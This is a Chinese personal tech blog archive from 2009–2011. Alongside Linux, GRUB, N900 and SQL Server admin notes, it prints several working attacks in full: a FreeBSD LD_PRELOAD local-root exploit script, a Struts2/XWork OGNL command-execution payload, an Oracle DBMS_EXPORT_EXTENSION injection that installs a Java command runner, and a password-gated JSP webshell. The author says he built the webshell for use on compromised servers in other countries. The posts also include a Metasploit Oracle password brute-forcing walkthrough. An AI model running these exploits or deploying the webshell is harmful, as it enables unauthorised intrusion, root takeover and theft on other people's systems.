  VolGroup00 wz--n- 32.00M   1   2   0 232.78G    0  bAydq6-rv9e-wCa0-iK2f-zFWn-UBUr-4AR3Ct
  VolGroup00 wz--n- 32.00M   1   2   0  74.41G    0  YHLmkq-b1xS-UzAS-Y3nv-6vaX-2Xou-GScvk0

查到数据盘的uuid是bAydq6-rv9e-wCa0-iK2f-zFWn-UBUr-4AR3Ct,改卷组名的时候用uuid,如下:

[root@locallhost ~]# vgrename bAydq6-rv9e-wCa0-iK2f-zFWn-UBUr-4AR3Ct aaalvm
  Volume group "VolGroup00" successfully renamed to "aaalvm"

ok了,改完再vgs看下:

[root@locallhost ~]# vgs
  VG         #PV #LV #SN Attr   VSize   VFree
  VolGroup00   1   2   0 wz--n-  74.41G    0
  aaalvm       1   2   0 wz--n- 232.78G    0

没问题了,再lvscan下:

[root@locallhost ~]# lvscan
  inactive          '/dev/aaalvm/LogVol00' [228.84 GB] inherit
  inactive          '/dev/aaalvm/LogVol01' [3.94 GB] inherit
  ACTIVE            '/dev/VolGroup00/LogVol00' [70.47 GB] inherit
  ACTIVE            '/dev/VolGroup00/LogVol01' [3.94 GB] inherit

已经看到新改名的卷组是inactive了,2个分区LogVol00和LogVol01,用vgchange加载我们该名过的aaalvm卷组:

[root@locallhost ~]# vgchange -ay /dev/aaalvm
  2 logical volume(s) in volume group "aaalvm" now active

提示active状态成功,最后mount文件系统:

[root@locallhost ~]# ls /dev/aaalvm/
LogVol00  LogVol01
[root@locallhost ~]# mount /dev/aaalvm/LogVol00 /aaaa/
[root@locallhost ~]# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/mapper/VolGroup00-LogVol00
                       69G  2.7G   63G   5% /
/dev/hda1              99M   12M   82M  13% /boot
tmpfs                1010M     0 1010M   0% /dev/shm
/dev/mapper/aaalvm-LogVol00
                      222G  111G  100G  53% /aaaa
[root@locallhost ~]# mount /dev/aaalvm/LogVol01 /bbb/
/dev/aaalvm/LogVol01 looks like swapspace - not mounted
mount: you must specify the filesystem type

LogVol01是swap分区,不用挂载。把/bin/mount /dev/aaalvm/LogVol00 /aaaa/写入rc.local里面,让每次开机自动挂载,也可以写到fstab里面,但是如果写错出问题可能导致进不了系统,所以建议写rc.local。

Posted by vitter at 2011-04-26 09:14:14 | 评论 (0) | 引用

April 11, 2011

java导出MS sqlserver的某表数据

遇到一Linux系统的Jboss的java环境连MS sqlserver的数据库,想要导出某表数据存为csv文件,用java实现如下:

import java.io.BufferedOutputStream;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.IOException;
import java.io.PrintStream;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;

//by:vitter@safechina.net
//blog.vfocus.net

public class SqlServerDataDump {

        public static void  main(String[] arg){
           SqlServerDataDump sqlDump = new SqlServerDataDump();

           sqlDump.dataDump();          
        }

    public void dataDump() {
        final String databaseName = "dbname";
        final String userName = "sa";
        final String passWord = "passwd";
        final String serverHost = "192.168.1.10";
        final int serverPort = 1433;

        final String fileName = "/home/test/test.csv";

        // Create a variable for the connection string.
        final String connectionUrl = "jdbc:sqlserver://" + serverHost + ":"
                + serverPort + ";database=" + databaseName + ";user="
                + userName + ";password=" + passWord+";selectMethod=cursor";

        // Declare the JDBC objects.
        Connection con = null;
        Statement stmt = null;
        ResultSet rs = null;

        final String querySql = "select * from user";

        File outputFile = new File(fileName);

        PrintStream printStream = null;

//        if (!outputFile.isFile() || !outputFile.canWrite()) {
//            // is dir or readonly
//            return;
//        }

        try {

            printStream = new PrintStream(outputFile);

            Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver");
            con = DriverManager.getConnection(connectionUrl);
                        System.out.println("get connection success.");
            stmt = con.createStatement();
            rs = stmt.executeQuery(querySql);
                        System.out.println("dump data begin.");

            while (rs.next()) {
                String col1 = rs.getString(1);
                String col2 = rs.getString(2);
                String col3 = rs.getString(3);
                String col4 = rs.getString(4);
                String col5 = rs.getString(5);
                String col6 = rs.getString(6);
                String col7 = rs.getString(7);
                String col8 = rs.getString(8);
                String col9 = rs.getString(9);
                String col10 = rs.getString(10);
                String col11 = rs.getString(11);
                String col12 = rs.getString(12);
                String col13 = rs.getString(13);
                String col14 = rs.getString(14);
                String col15 = rs.getString(15);
                String col16 = rs.getString(16);
                String col17 = rs.getString(17);
                String col18 = rs.getString(18);
                String col19 = rs.getString(19);
                String col20 = rs.getString(20);
                …………………………………..

                printStream.println(col1 + "," + col2 + "," + col3 + "," + col4 + "," + col5 + "," + col6 + "," + col7 + "," + col8 + "," + col9 + "," + col10 + "," + col11 + "," + col12 + "," + col13 + "," + col14 + "," + col15 + "," + col16 + "," + col17 + "," + col18 + "," + col19 + "," + col20 + "," + ………..);
            }

                        System.out.println("end dump data.");

        } catch (Exception e) {
                     e.printStackTrace();

        } finally {
            if (null != rs) {
                try {
                    rs.close();
                } catch (SQLException e) {
                    e.printStackTrace();
                }
            }

            if (null != stmt) {
                try {
                    stmt.close();
                } catch (SQLException e) {
                    e.printStackTrace();
                }
            }

            if (null != con) {
                try {
                    if (!con.isClosed()) {
                        con.close();
                    }
                } catch (SQLException e) {
                    e.printStackTrace();
                }
            }

            if (null != printStream) {
                try {
                    printStream.close();
                } catch (Exception e) {
                    // TODO Auto-generated catch block
                    e.printStackTrace();
                }
            }
        }
    }

}

注意:classpath加.如果遇到找不到驱动,把sqljdbc.jar拷到当前目录;如果内存不够加-Xms512m -Xmx978m。

javac SqlServerDataDump.java -cp .:/usr/java/jdk1.6.0_20/lib/dt.jar:/usr/java/jdk1.6.0_20/lib/tools.jar./sqljdbc.jar

java -Xms512m -Xmx978m  -cp .:/usr/java/jdk1.6.0_20/lib/dt.jar:/usr/java/jdk1.6.0_20/lib/tools.jar./sqljdbc.jar SqlServerDataDump

Posted by vitter at 2011-04-11 14:30:22 | 评论 (1) | 引用

January 30, 2011

干掉多出来的scvhost.exe进程

昨晚为了用下支付宝,装了支付宝安全控件,今天早上发现机器启动多了好些个scvhost.exe的进程,挨个查了下都是正常的系统服务,但是为啥多了呢?服务也没多启动,卸载支付宝也不管用,找另外机器用tasklist /svc对比了下,发现多的那几个scvhost的服务在别的机器上是共享在一个进程里面的。

干掉多出来的scvhost.exe进程1

而我的wuauserv wscsvc SharedAccess都是独立的进程。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost
项下面发现
干掉多出来的scvhost.exe进程2 
分的这几个组也没问题,这三个服务是在netsvcs这个组里面。
用sc query查发现
干掉多出来的scvhost.exe进程3 
正常的是共享模式的:TYPE               : 20  WIN32_SHARE_PROCESS
而我的是10独立进程的,注册表里从

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\


里面找到这三个服务把TYPE改成20


干掉多出来的scvhost.exe进程4


重启ok。由于利用scvhost后门比较多,建议能共享的都共享,这样进程里面scvhost进程就会少很多,比较容易发现问题。


明天就放假了,先回lp家,返京的时候再回下我家。年终奖和一月工资明天发,开始准备红包啦。

Posted by vitter at 2011-01-30 10:42:23 | 评论 (2) | 引用

November 29, 2010

CVE-2010-4170也很给力啊

4170

RedHat已更新:

https://rhn.redhat.com/errata/RHSA-2010-0894.html

Posted by vitter at 2010-11-29 10:38:52 | 评论 (0) | 引用

November 24, 2010

在N900 X Terminal上加特殊字符快捷键

gconftool-2 -s /apps/osso/xterm/key_labels -t list --list-type=string "[Tab,Esc,PgUp,PgDn,~,^,|,<,>]"
gconftool-2 -s /apps/osso/xterm/keys -t list --list-type=string "[Tab,Escape,Page_Up,Page_Down,asciitilde,asciicircum,bar,less,greater]"

List of keysyms:http://wiki.linuxquestions.org/wiki/List_of_keysyms

Posted by vitter at 2010-11-24 09:40:07 | 评论 (0) | 引用

October 19, 2010

September 20, 2010

8一8最近的Kernet x86_64的32位支持的2个漏洞

CVE-2010-30813301这2个都是X86_64的Kernel在32位支持上的漏洞,据说07年的时候就出现过问题,后来补丁了,但是不知为何08年更新的时候把这个补丁又丢了。类似的问题好像不止在Kernel上出现过,一些其他应用,比如很常见的java的框架应用等等也都出现过,看来如此简单问题应该是管理上的问题,不是技术上的问题。对于开发人员来说这种情况应该要重视,以后可以考虑拿这些作为反面例子做培训。

3301的EXP在:http://www.exploit-db.com/exploits/15023/ 这也是之前补过后来又出现的bug,在常见的发行版上经测试此漏洞在Red Hat企业版序列上,似乎不受影响,但是在同一厂家的FC个人版上13最新update后依然受到影响。

而3081:http://www.exploit-db.com/exploits/15024/ 这个是新bug利用方式,在Red Hat系列企业版上受影响,杀伤力强大,但FC13不受影响。

目前Kernel还没补丁,临时关闭32位ELF支持可解决问题。

Posted by vitter at 2010-09-20 11:22:28 | 评论 (1) | 引用

August 10, 2010

桌面上的IE被XXOO了

平时基本都不用IE的,估计是用Firefox的IEtab浏览过什么,导致双机桌面上的Internet Explorer打开主页是http://www.cnweb123.cn/?hao123。看了下IE属性设置的主页还是我默认的,而且发现用快捷方式和直接用iexplore.exe程序打开都是正常的,就用桌面的那个IE图标打开异常,一生气我就直接把桌面的IE图标给删掉了。

后来查了下注册表,发现[HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command]默认项被改成了"C:\Program Files\Internet Explorer\iexplore.exe" http://www.cnweb123.cn/?hao123,改回默认的"C:\Program Files\Internet Explorer\iexplore.exe" 就ok了。

另外恢复删除了的桌面上IE图标可以用下面几个方法:
1、打开“我的电脑”向上回到上一层“桌面”,把其中的Internet Explorer复制到桌面恢复。
2、或者在其他地方,只要不是桌面就行,创建一个Internet Explorer.{871C5380-42A0-1069-A2EA-08002B30309D}文件夹,然后把这个文件夹复制到桌面也可。
3、还有一种方法恢复,打开自定义桌面后,因为在SP3后就没IE的选项了,但是我们可以按i键然后确定,再确定就能恢复出来。
4、另外改注册表[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons \NewStartPanel]的{871C5380-42A0-1069-A2EA-08002B30309D}项为0也能恢复。

Posted by vitter at 2010-08-10 20:02:43 | 评论 (0) | 引用

July 30, 2010

Struts2/XWork漏洞

这个漏洞出来有段时间了,一直忙没去看,当时出来的时候就有人测试说威力挺大,昨天看了下,确实是远程执行命令,很多tomcat都是root跑的,那用这个,等于直接就root权限远程执行命令了。

昨天有服务器有问题,都让他们排查了下。基本上没有裸跑tomcat的,限制可以在系统级做,nginx和haproxy都对含\u0023的参数提交禁掉就ok了。单独跑tomcat的可以写个过滤器,每个项目都加上:

<interceptor-ref name="params">  
<param name="excludeParams">.*\\u0023.*</param>  
</interceptor-ref> 

比较麻烦。

官方已出补丁:

http://svn.apache.org/viewvc?view=revision&revision=956389

详情:http://vfocus.net/art/20100729/7509.html

exp:

('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec("touch /tmp/vittertestok")')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

Posted by vitter at 2010-07-30 12:18:34 | 评论 (2) | 引用

July 14, 2010

Android 2.2装到的N900上

Android 2.2装到了SD卡上双系统,等MeeGo有电话模块和UI界面了后也装SD卡上,弄个多系统引导。

Android 2.2 for N900目前支持:

Dual boot with Maemo 5
Sound (built-in speakers only)
Touchscreen input
Keyboard input
WiFi networking (beta)
Internal eMMC as SD with automount
Partial battery monitoring
Microphone (alpha)
LCD && keyboard backlight (beta)
Charging (beta, only with wall-charger)
Accelerometers (alpha)
Bluetooth

还不支持:

Phone
Vibrator
Proximity && light sensors
Unlock/Lock switch on the right side
2D gfx
3D gfx
GPS
FM Radio Transmitter
FM Radio Reciever
Camera, camera button

安装:会重新分区SD卡,格式化,我的fat分了2G,其他的都分了EXT3装系统用。

umount /dev/mmcblk1p1
sfdisk -uM /dev/mmcblk1 << EOF
,2048,C
,,L
,,
,,
EOF
umount /dev/mmcblk1p1
mkdosfs /dev/mmcblk1p1
sfdisk -R /dev/mmcblk1
mke2fs -j -m0 /dev/mmcblk1p2
apt-get -y install bzip2 wget
cd /home/user/MyDocs/
wget http://downloads.nitdroid.com/Jay-c/multiboot-0.1.1.tar.gz
cd /
tar xzvf /home/user/MyDocs/multiboot-0.1.1.tar.gz
mkdir /and
mount -o noatime,rw /dev/mmcblk1p2 /and
cd /home/user/MyDocs
wget http://downloads.nitdroid.com/NITDroid-N900-0.0.5-3-BIG.tbz2
cd /and
rm -rf *
bzip2 -d /home/user/MyDocs/NITDroid-N900-0.0.5-3-BIG.tbz2
tar xvf /home/user/MyDocs/NITDroid-N900-0.0.5-3-BIG -C /and

找到自己的蓝牙MAC地址记下来,然后

cd /and/system/bin
vi load_modules.sh

找到BDADDR="0cddef0a0e6d" 把后面的地址改成你自己的。

cd /
umount /and
rmdir /and

安装完成,重启,出现多引导菜单。

进去系统发现比较慢,可能对硬件支持还不是太好吧。期待更新能支持电话和GPS模块。继续等MeeGo的系统。已经出的Day1有了UI,据说很快就出电话模块了。还有NeoPwn2啥时候能提供下载呢。

Posted by vitter at 2010-07-14 15:32:45 | 评论 (0) | 引用

May 27, 2010

解决了N900的播放器和图片里面没内容问题

其实跟软件没什么冲突,就是cache的问题,在普通用户(user)的xterm终端下(注意不要用root用户)执行下面命令会重建cache的tracker数据库:

$ tracker-processes -r

这个命令会删除/home/user/.cache/tracker下的几个数据库文件重建,执行完重启下系统,再进媒体播放器和图片查看器就都出来了。

顺便把Metasploit装上了。具体安装步骤参考官方网站说明:http://metasploit.com/redmine/projects/framework/wiki/Install_N900

Posted by vitter at 2010-05-27 20:46:52 | 评论 (0) | 引用

May 24, 2010

How to install GCC on the Nokia N900

I finally got around to installing GCC on my Nokia N900 today (using Maemo 5). I found it more challenging than I expected so I figured it would be nice to share how I did it.
First, you'll need root on the device. If it's not installed it already, see the instructions for installing and using rootsh.

Next, download the packages required for GCC. These can be found with a bit of searching on the Maemo repositories page. The fremantle and maemo5.0 repositories seem to be the same. For gcc you'll need these packages:

For g++, you'll also need these packages:

I downloaded these packages onto my computer and copied them to my N900 via mass storage mode. If downloading them directly to your N900 is easier, you could do that.

Once you have all the packages, you can install them by logging in as root (sudo gainroot) and then running dpkg -i <package> for each package. You should be able to do this in the order listed above.

The last two g++ packages (libstdc++6-4.2-dev and g++-4.2) depend on themselves so the procedure isn't quite as easy (you can't dpkg -i one and then the other). First, unpack each of the packages by running dpkg --unpack <package>. Then run dpkg --configure -a. This will configure both packages at the same time. If they're not installed yet, you can run dpkg -i <package> for each of them.

At this point, you should have gcc and (optionally) g++ installed. To invoke them, run gcc-4.2 and g++-4.2. If you like, you can add your own symlinks to run them as just gcc and g++.

After installing GCC, I compiled some trivial C and C++ applications, which ran fine. You may need to install more libraries to compile more complicated applications. You should be able to find such libraries by browsing the fremantle repository.

I've tried adding http://repository.maemo.org/ as a repository in "App. manager", but it failed to find packages, which is why I installed them manually as described above. If you know of a way to make that method work, let me know; it would be much cleaner.

Also let me know If I missed any required packages or have the dependencies out of order.

I could have installed the Maemo SDK on my computer using these instructions, but I prefer to have my development environment right on the device so it is always available when I have my device. To use a nicer keyboard, I can SSH into my N900 from any computer with a full-sized keyboard (not just one with the Maemo SDK installed).

Now that GCC is installed, it's time to compile tangoGPS, my favorite GPS tracing tool, for Maemo 5. Hopefully I'll have some results to post soon.

Posted by vitter at 2010-05-24 11:57:04 | 评论 (0) | 引用

January 13, 2010

今天安装BT4 final到移动硬盘上了

by:vitter
blog.vfocus.net

今天有人发过来BT4网站下载链接,看到出了BT4最终版了,立即下载回来研究下。我按官方说明的用unetbootin安装bt4-final.iso失败了,因为unetbootin没能识别到我的移动硬盘。

unetbootin不识别我的移动硬盘  

简单看了下BT4已经基于Ubuntu了,用的是grub引导的。于是想到可以用grub4dos去引导:

1、下载HP_USB_FW.rar,This tool can setup a booting USB flash disk。他可以创建dos的引导程序到U盘里面。下载后解压,执行HPUSBFW.EXE,选FAT32文件系统,快速格式化,要选中创建dos启动盘,路径指向解压目录下的HPUSBFW目录,这个目录下有引导程序COMMAND.COM、IO.SYS、MSDOS.SYS,这3个文件在格式化完成后被copy到移动硬盘跟目录下。

HP USB FW

2、下载grub4dos,我们要提取里面的grldr、grub.exe文件复制到移动硬盘的根目录下。

3、用rar或者其他iso工具解压bt4-final.iso里面的boot、casper目录复制到移动硬盘的根目录下。

4、把boot\grub目录下的menu.lst文件复制到根目录下,同时编辑下,default 0改成default 4,这是修改默认启动选项为Start Persistent Live CD这项(可保存配置模式),这个能保证我们的系统可写。

5、在移动硬盘根目录下创建AUTOEXEC.BAT文件,内容如下:
@echo off
grub.exe

6、用PQ等分区工具把移动硬盘最后一部分空间留出2-3G,做成EXT3(移动硬盘)或EXT2(闪存)的文件格式,并把卷标命名为casper-rw,这个分区是为了保证我们选Start Persistent Live CD这项的时候能够存储数据的,当然你如果有足够大空间,越大越好。

OK,以上都完成后,重启机器,进入BIOS修改启动从U盘引导后重启。如果不出意外即可看到BT4的grub启动选项,默认应该是Start Persistent Live CD选项,进入系统。此时df可以看到我们的FAT32分区是加载到了cdrom。根目录加载的是我们的casper-rw卷,可读写,可保存配置。startx启动图形界面,可以享受BT4了。

之后我们可以进行汉化,因为采用了Ubuntu,安装软件都比较方便了。只要能上网,什么都可以采用apt-get的安装方式。

下面具体汉化和安装输入法:

汉化:
apt-get install language-pack-kde-zh language-pack-kde-zh-base language-pack-zh language-pack-zh-base
把微软雅黑msyh.ttf字体复制到/usr/share/fonts目录下创建的msfonts目录下然后:
cd msfonts
mkfontscale
mkfontdir
fc-cache
重启汉化完成。

输入法:安装小企鹅没问题,其他可能有各种问题。
apt-get install fcitx
在/etc/X11/Xsession.d/目录下新建一个文件99fcitx,内容如下:
export LANG="zh_CN.UTF-8"
export XIM_PROGRAM=fcitx
export XIM=fcitx
export XMODIFIERS="@im=fcitx"
fcitx&

具体汉化和输入法详见帖子:BT4 FINAL汉化+ 安装中文输入法

Posted by vitter at 2010-01-13 21:42:37 | 评论 (2) | 引用

December 02, 2009

年底FreeBSD发大奖了

FreeBSD_0day

Kingcope大牛曝了一个FreeBSD一个新的0day,官方尚未发布补丁。注意图中粉框中。

------------------FreeBSD 0day-----------------

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include <stdio.h>

main() {
        extern char **environ;
        environ = (char**)malloc(8096);

        environ[0] = (char*)malloc(1024);
        environ[1] = (char*)malloc(1024);
        strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

        execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        extern char **environ;
        environ=NULL;
        system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

Posted by vitter at 2009-12-02 12:30:56 | 评论 (1) | 引用

November 21, 2009

RHEL5损坏的GRUB修复

一直说没去过新机房,这次够倒霉,一下就去了两趟。昨天晚上测试pipe的漏洞,发现上次升级过的内核居然没修复这个漏洞。一着急就没测试直接从2.6.18-128.7.1升级到2.6.18-164.6.1了,结果重启机器没起来。人倒霉的时候往往是一系列的意外,昨晚除了这个还测试其他的弄死了一台redhat9.0和一台RHEL3。本以为直接去机房也就是选一下旧内核就ok的事(升级前特意把grub.conf的timeout改成了10,平时都是0的)。什么都没带就直接奔机房去了,去了就傻眼了。发现机器启动直接死在GRUB上面了,屏幕只有GRUB四个字符而且没后面的>提示符,根本还没到选内核呢,没辙了只好回家先睡觉了,顺便下了一个5.4的ISO刻盘,准备今天顺便update下。过后回想应该是在RHEL5.2直接更新到5.4的update的最新内核后,更新了GRUB出问题了。可能跨越了一些系统版本的问题吧,我上次从5更新到5.2的时候似乎没update过GRUB。

今天过去先修复GRUB,结果也是不顺利,卡在USB光驱的驱动上,很郁闷。一直以为SCSI或者SATA驱动问题,后来发现2个硬盘数据全读出来了,忽然想到应该是USB驱动的问题,因为以前直接把光驱装在主板的IDE接口的,这次用的是USB的,选上USB驱动继续就ok了。下面是修复GRUB的步骤。

1、先将RHEL5.4盘放光驱中,改BOIS从USB光驱启动;
2、当引导到安装界面的时候,最后一行出现“boot:”时,输入“linux rescue”回车进入修复模式,加载完SCSI和SATA驱动后;
3、出现选择语言的对话框,默认选择English,回车;
4、下面出现选择键盘类型的对话框,选默认的“us”,回车;
5、我这由于少U盘驱动(就是卡在这郁闷了好久),出现选择驱动加载地址,选择Local CDROM,然后再选select driver 从列表里面找usb-storage的那个。加载完之后下一步;
6、下一个对话框是要你选择是否加载上网络接口,选“NO”回车;
7、接下来出现的对话框有“Continue“、”Read-only“、”Skip”三个选项,选默认的“Continue”,回车。这个是加载本地硬盘的系统,肯定不能选只读或者跳过,不然我们修复谁去;
8、最后一个OK对话框直接回车;
9、当出现“sh-3.2#”提示符时就进入修复模式了;
10、输入chroot /mnt/sysimage 回车chroot到硬盘系统;
11、用grub-install /dev/sda命令修复GRUB,出现如下图提示信息的时候说明GRUB已经修复完毕,重启系统即可。

GRUB-INSTALL

修复ok后,重新顺便update到5.4,选择了更新GRUB的选项,装完重启发现有在GRUB上,不过这次是GRUB >提示符,进入到GRUB了,直接在里面输入
root hd(0,0)
setup (hd0)
这两个命令如下图:

GRUB-SETUP

安装完成,出现这个比较奇怪,应该是跨版本太多有些异常吧。直接ctrl+alt+del重启,进入系统一切正常。这次再从2.6.18-164内核(还是没补pipe那个漏洞)升级到新的2.6.18-164.6.1内核就没出现异常了。

Posted by vitter at 2009-11-21 20:37:38 | 评论 (0) | 引用

November 16, 2009

又要年底了

刚从上海参加OWASP(China)2009 & ISF2009年会回来,这也是OWASP中国第1次年会,ISF第二次年会。OWASP一直致力于研究应用安全,比较出名的是每隔几年都会发布Top 10。这次的议题涉及方面也比较广,软的硬的, 取证,web,漏洞挖掘,恶意软件分析,安全构架等,有些收获。结合最近内部在做的一些项目和明年的一些规划,自己总结一下。

一、如何能做到由被动变为主动,安全一直处于一种被动方式,不管是防火墙也好,IDS、IPS也好其实大家现在都是一种被动防御的方式,那现在的云安全概念看似很美好,不过真的离完美还有好多路要走。结合明年我们的一些规划,不管是病毒平台也好,云安全也好,攻击和botnet监控也好,其实我们也在朝着被动变主动的方向在努力。

二、应用安全,SDL也许是个不错的选择,培训开发人员的安全意识加以辅助,希望明年能够引进一些人才,同时开发流程能参考SDL改进成自己特色的流程。

纵观现在的安全形势,道高一尺魔高一丈,我们还在路上,大家还需努力。

PS:OWASP(China)2009 & ISF2009年会PPT打包下载

Posted by vitter at 2009-11-16 10:55:49 | 评论 (0) | 引用

October 17, 2009

Linux下安装Metasploit破解Oracle登录用户名密码

by:vitter@safechina.net
blog.securitycn.net

最近在搞oracle,一些小东西记录一下。

Metasploit是一个很好的攻击工具包,当然我们这次不是介绍这个工具包的,主要是大牛MC写了很多oracle的工具,在最近会经常用。我主要会用到经典工具tnscmd移植到MSF中的小工具(不如pl的好用,没换行,看结果很累),sid_brute和login_brute,用的最多的还是暴力破解oracle用户名和密码的login_brute。下面就说下怎么安装和使用,主要是安装,因为有些需要注意的东西,请注意斜体字。

1、先装gcc编译环境 (我用的server比较惨,最小安装,系统也老,FC2。)

rpm -ivh cpp-3.3.3-7.i386.rpm
rpm -ivh glibc-kernheaders-2.4-8.44.i386.rpm
rpm -ivh glibc-headers-2.3.3-27.i386.rpm
rpm -ivh glibc-devel-2.3.3-27.i386.rpm
rpm -ivh binutils-2.15.90.0.3-5.i386.rpm
rpm -ivh gcc-3.3.3-7.i386.rpm

2、安装oracle客户端

下载:http://www.oracle.com/technology/software/tech/oci/instantclient/htdocs/linuxsoft.html
rpm包安装比较省事,当然你也可以下载压缩包安装,按照说明来装即可。

rpm -ivh oracle-instantclient11.1-basic-11.1.0.7.0-1.i386.rpm oracle-instantclient11.1-devel-11.1.0.7.0-1.i386.rpm oracle- instantclient11.1-sqlplus-11.1.0.7.0-1.i386.rpm

装完后,执行下面2条命令,同时设置在环境变量里,加入到/etc/profile最后即可:

LD_LIBRARY_PATH=/usr/lib/oracle/11.1/client/lib/
export LD_LIBRARY_PATH

3、装ruby

下载:http://www.ruby-lang.org/en/downloads/

tar zxvf ruby-1.8.5-p231.tar.bz2   #(这个注意下,不要装1.9的版本,否则会出现MSF不能读CSV文件的问题,报NameError uninitialized constant CSV::Reader错误)
cd ruby-1.8.5-p231
./configure
make && make install

4、装ruby-oci8

安装说明:http://ruby-oci8.rubyforge.org/en/InstallForInstantClient.html
下载:http://rubyforge.org/projects/ruby-oci8/
这个ruby-oci8-1.0.6版本或者 ruby-oci8-2.0.0都可以。
安装前要确认环境变量,即sqlplus能正常运行就可:
LD_LIBRARY_PATH=/usr/lib/oracle/10.2.0.3/client/lib
export LD_LIBRARY_PATH

tar zxvf ruby-oci8-2.0.0.tar.gz
cd ruby-oci8-2.0.0
make
make install

5、装ruby-dbi

下载:http://rubyforge.org/frs/?group_id=234
用dbi-0.2.2,一定不要新过这个版本,否则MSF会报“The dbi module is not available!”错误。

cd dbi-0.2.2
ruby setup.rb config --with=dbi,dbd_oracle  #(--with=dbi,dbd_oracle这个参数一定要,否则还是报dbi错误)
ruby setup.rb setup
ruby setup.rb install

6、下载安装使用MSF

svn co http://metasploit.com/svn/framework3/trunk/ ./
./msfconsole

如果msf报错缺少openssl、zlib、gem,则需要先装下。

rpm -ivh openssl-devel-0.9.7a-35.i386.rpm
cd ruby-1.8.5-p231/ext/openssl
ruby extconf.rb
make
make install

装zlib

cd ruby-1.8.5-p231/ext/zlib
ruby extconf.rb
make
make install

装gem

tar zxvf rubygems-1.3.1.tgz
cd rubygems-1.3.1
ruby setup.rb all

一切ok就可以运行了(如果还缺别的按要求装上,用gem安装ruby模块很方便):

msf > use auxiliary/admin/oracle/login_brute
msf auxiliary(login_brute) > set RHOST 192.168.0.11
RHOST => 192.168.0.11
msf auxiliary(login_brute) > set SID oracle
SID => oracle
msf auxiliary(login_brute) > info

    Name: Oracle brute forcer for known default accounts.
    Version: 6876
    License: Metasploit Framework License (BSD)

Provided by:
  MC <mc@metasploit.com>

Basic options:
  Name     Current Setting                                             Required  Description
  ----           ---------------                                                    --------  -----------
  CSVFILE  /root/msf3/data/wordlists/oracle_default_passwords.csv      no        The file that contains a list of default accounts.
  RHOST    192.168.0.11                                               yes       The Oracle host.
  RPORT    1521                                                              yes       The TNS port.
  SID            oracle                                                           yes       The sid to authenticate with.

Description:
  This module uses a list of well known authentication credentials for
  bruteforcing the TNS service. A log file of discoverd credentials
  can be found in ./data/wordlists/oracle_default_found.log.

References:
https://www.metasploit.com/users/mc
http://www.petefinnigan.com/default/oracle_default_passwords.csv
msf auxiliary(login_brute) > run

破解结果会存在MSF目录下data/wordlists/oracle_default_found.log文件里面。

Posted by vitter at 2009-10-17 12:00:14 | 评论 (1) | 引用

October 13, 2009

改的一个非GBK的JSP的webshell

最近遇到些国外的oracle服务器,其中好多系统的内核无法local root,但是有在root权限下跑的java的web服务,有在web目录写权限,但是经常用的jshell是GBK的,在国外(先是棒子,放过了,后有小鬼子,再后来还有阿三,实在受不了了,自己改一个)的机器上基本不支持该字体,没办法自己改了一个cmd的webshell多加了一个密码认证。

------------------------------淫荡代码分割线------------------------------

<%@ page import="java.io.*" %>
<%
//by: vitter@safechina.net

     String PASS = "vitter";

    String cmd = request.getParameter("cmd");
    String pass = request.getParameter("pass");
    String output = "";

    if (pass != null && pass.trim().length() > 0) {
        if (pass.equals(PASS)) {
            output = "Success";
            request.getSession().setAttribute("loginUser", "loginOk");
        } else {
            output = "password ERR!";
            request.getSession().removeAttribute("loginUser");
        }
    } else if (cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd);
            BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
            while ((s = sI.readLine()) != null) {
                output += s;
            }
        }
        catch (IOException e) {
            e.printStackTrace();
        }
    }

    boolean ifLogin = false;
    Object loingUser = request.getSession().getAttribute("loginUser");
    if (loingUser != null) {
        ifLogin = true;
    }
%>
<FORM METHOD=POST ACTION='vittercmd.jsp'>
    <%
        if (!ifLogin) {
    %>
    Password:<INPUT name='pass' type=password>
    <%
    } else {
    %>
    CMD:<INPUT name='cmd' type=TEXT>
    <%
    }
    %>
    <INPUT type=submit value='Run'>
</FORM>
<hr>
<pre>
    <%=output %>
</pre>

附:oracle提权的小技巧

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
}'''';END;'';END;--','SYS',0,'1',0) from dual ;

